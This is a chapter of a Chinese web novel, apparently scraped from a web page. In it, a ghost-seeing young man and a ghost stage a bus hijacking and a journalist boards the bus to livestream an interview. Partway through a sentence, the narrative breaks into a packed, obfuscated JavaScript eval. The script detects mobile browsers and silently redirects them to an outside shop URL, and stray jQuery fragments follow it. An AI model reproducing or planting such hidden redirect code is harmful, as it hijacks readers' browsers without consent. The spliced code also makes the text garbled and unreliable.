司机连滚带爬,胖胖的身体刚滚落地面,驾驶室便砰地一声关上了。郝运顺手反锁车门。终于没有不相干的人,鬼鬼们再也忍耐不住,围着郝运叽叽喳喳一顿猛夸。
“小哥哥,你好棒棒哦!”
“小哥哥,你怎么这么厉害,人家好崇拜你哦~~~”
“年轻人,很不错嘛!”
“嘿,小兄弟,你很对我胃口哦!”
如果一开始鬼鬼们觉得郝运只是一个特别的存在,有那么点聪明,那么点胆量,听完他告诉弗兰克在独家采访时该如何表现,该怎么讲故事,什么时候真情流露,什么时候歇斯底里,什么时候痛苦绝望,以及事后被警察审问时如何应对,甚至连细枝末节的地方都提前考虑到了。那头头是道、逻辑严密、自信从容的模样彻底征服了这群无聊到发毛的鬼鬼。
这人不是一般的特别,不是一般的聪明,不是一般的大胆呢。鬼鬼们一致认为,以后只要跟着郝运混,鬼日子绝对不会再孤单寂寞百无聊赖了。为了顺利赖上郝运,可不是逮着机会狂夸,免得不带他们玩。
只有金发妹子最矜持,全程安静地待在男朋友弗兰克旁边,目光里是恰到好处的崇拜和感激,看得郝运舒爽不已,忍不住感慨——果然还是妹子可爱一点。
但是面对五个如狼似虎,恨不得吞了他的外国鬼,郝运顿感亚历山大,隐隐有种预感,只要他稍微露出点好脸色,这些外国鬼就会蹬鼻子上脸,以后将永无宁日。
郝运故意皱着眉头,一副为难的姿态。鬼鬼们果然上当,一个劲儿的追问郝运为什么发愁。郝运叹息一声,才道:“遮光帘阻挡了警察的视线,也挡住了我们的视线,不知道现在外头是个什么情况。”
“哎呀,小哥哥,这有什么可愁的,人家可会打探消息了呢~”中年花蝴蝶扭身跺脚,一脸羞涩地毛遂自荐。
郝运一拍额头,仿佛才想起来似的:“瞧我,真笨,只要五位哥哥姐姐出马,什么消息不是手到擒来,还怕外边那群警察?哥哥姐姐们,我和弗兰克的小命就拜托你们了!”资深倒霉蛋郝运深谙嘴甜之道,彩虹屁不说炉火纯青,大体上也应付的过去,谁让他先天条件不好,托生成老天爷的后儿子,只能靠自己后天努力。
被郝运这么小小一捧,鬼鬼们一个个就差拍胸脯保证了。自从做了鬼,再也没有体验过被人需要的滋味,这种可以帮别人做点什么的感觉真是太久违,太美妙了。鬼鬼们围在一起,低声讨论了一阵,迅速做好分工,明确好责任,便雄赳赳气昂昂穿过车厢,充当鬼形监视器去了。
耳根终于清净下来,郝运忍不住长舒一口气。金发妹子抿着嘴直笑。郝运被笑得不好意思起来,拉着弗兰克煞有介事地对细节。
窗外的大喇叭一遍又一遍做着安抚:“车里的人听着,我们已经在联系安德森女士,不要冲动,你有什么要求我们都会尽量满足。”
胖司机正被警察围着反复盘问,除了确认看到炸/弹,也只提供了一些并没有太多指向性的信息:比如两人在哪站上的车,黑衣劫犯个子很高,体型比较壮,白衣人质身形纤瘦,长相清秀,是个亚洲人,看起来非常年轻,应该没有成年。司机师傅刚刚死里逃生,不禁对最后一个留在车上的受害者深表同情,尤其这位受害者看起来只是个弱不禁风的学生。他没有勇气替代那个孩子做人质,唯一能做的也就是请求警方赶紧想办法救人。多勇敢的孩子呀,上车的时候,自己对他那么凶,还故意提前关车门,实在太不应该了。胖司机暗自后悔。
尽管司机师傅的描述显得语无伦次、逻辑混乱,却也给警察留下了黑衣劫犯凶狠嚣张、白衣人质弱小可怜的印象。甚至有一部分警察觉得,或许这只是个勇敢的孩子,他在发现异常后,毫不犹豫站出来,把生的机会留给别人,却将自己置于险地。大概只有孩子才有这种无所顾忌的勇气。
琼·安德森被挡在距离布莱恩大厦五百米的岔路口,任凭她怎么解释,负责拦截车辆行人的警察也不为所动,觉得不过是记者惯常使用的巧言令色。
“我的人在被劫持的公交车上,劫犯只给我十五分钟,现在只剩下两分三十五秒,你承担不了劫犯发怒造成的后果,给你们的最高指挥官打电话,让我跟他说。”琼·安德森翻出视频截屏,手机几乎要怼到警察脸上。
正说着,有个陌生号码打来,琼·安德森没好气地挂断。电话夺命连环似的又一次响起,她只好按下接听键,一道快速又不失清晰的女声:“安德森女士,现在布莱恩大厦有一起公车劫持事件,嫌犯指明请您——”
“我就在五百米开外的岔路口,你们的人拦着不让我进。”琼·安德森冷着脸按下免提。
“马上放行。”
琼·安德森跳上采访车,直接撞开锥形路障与警戒带,一头扎进布莱恩大厦。车子还没停稳,琼·安德森便提着摄像机跳下来,现场最高指挥官迎上来快人快语作着交代。琼·安德森频频点头,有没有真正听进去只有她自己知道。旁边有女警拿着防弹衣往琼·安德森身上套,却被她挥手挡开,对着试图劝说的女警似笑非笑道:“在炸/弹面前,这东西穿与不穿有什么区别?”女警尴尬地停住动作。
琼·安德森掏出记者证挂在脖子上,对指挥官沉声道:“指挥官先生,一个小小的建议,希望你们不要做任何可能触怒劫犯的事情。”
多年一线记者经验,琼·安德森直觉待会直播的内容不会好看到哪里去,从选择成为记者的那一刻起,琼·安德森就把追求正义、还原真相、揭发罪恶、成为大众传声筒作为行事准则。这么多年来被人威胁、被人恐吓早就成为家常便饭,经历过多少次九死一生,又有多少次险象环生,琼·安德森早就不愿意细数。她为了坚守年轻时的誓言,为了成为一个纯粹的记者,在父母去世
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035256|194615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,不谈朋友,不结婚,疏远亲友,多年来独来独往,只是不想有任何软肋。
只要她还活着,休想在她的眼皮子底下搞小动作。琼·安德森提着摄像机,在公车后门站定,深吸一口气,伸手扣响公车门。
弗兰克悄悄把后车厢第一排的遮光帘掀起一条缝,确认车门口只有琼·安德森一个人。迅速放下帘子,冲层层叠叠的警察喊道:“所有人,所有车辆后退一百米,马上。”
现场最高指挥官,双手叉腰,站在临时指挥车后边,对旁边的人低声吩咐了一句,全体人员及车辆缓缓后退五十米。
鬼鬼们及时播报车外情况,他们根本不用跑回公车,只需待在自己的位置上,扯着嗓子大吼一声即可。临时指挥车、狙击手、冲锋组三个重要位置均守着一只鬼鬼,剩余两只则大摇大摆穿梭在包围圈里探查情报,把警方的布置悉数传达给郝运。
弗兰克换个窗口,尖声道:“一百米,不要试图考验我的耐心。”
“……”现场最高指挥官认定劫犯的匆匆一瞥看不出差别,没想到对方眼力这么好,好像头顶罩着一台巨大的监视器,劫犯掌握着他们的一举一动。最高指挥官举起右手,队伍又缓缓退了五十米。
收到鬼鬼们确认的回复,郝运和弗兰克对视一眼,按下后门的开门按钮。琼·安德森迅速窜上公车,后门砰地一声马上关上。琼·安德森上车后的第一件事先找郝运,确认郝运安然无恙,没有缺胳膊少腿,也没被揍的迹象,最终目光在郝运脖子上已经快干的血渍略作停留,冷声说道:“过来帮忙。”说着揭开摄像头的盖子,一边调试摄像机,一边询问弗兰克:“你想露脸,还是不露脸?”
“……”果然是工作狂人么?郝运流下一滴冷汗,听话地凑到老板跟前。
弗兰克按照预先商量好的说辞回道:“不露脸。”
琼·安德森指指后车厢的台阶,示意弗兰克坐下。她自己则是一屁股坐到地上,把调试好的摄像机放到旁边,角度正好拍到两条腿和大黑包的一角。之后又对着手机一顿捣鼓,把捣鼓好的手机丢给郝运。“我用社交账号开了直播,双管齐下。”
郝运瞄了一眼粉丝数量,好家伙,一千七百万,原来他竟然傍上这样一位厉害的大佬。大概也只有这样的大佬,才有胆量收下他这样一个专业不对口的野鸡大学毕业生。要知道,投简历的时候,他本着广撒网多敛鱼的准则,根本就是无差别海投。郝运不由得庆幸面试时灵机一动来了波反向操作,不然怎么杀出重围,一举挤掉无数名校优秀毕业生。难道真是应了那句老话——否极泰来;又或者算命先生的话开始应验,他马上就要转运了?郝运喜滋滋在旁边席地坐下,两条胳膊搁在膝盖上,手里捧着手机,确保不会拍到弗兰克的脸。
琼·安德森又摸出一部手机,确认采访车回传过来的影像没有问题,简单干脆道:“开始吧。”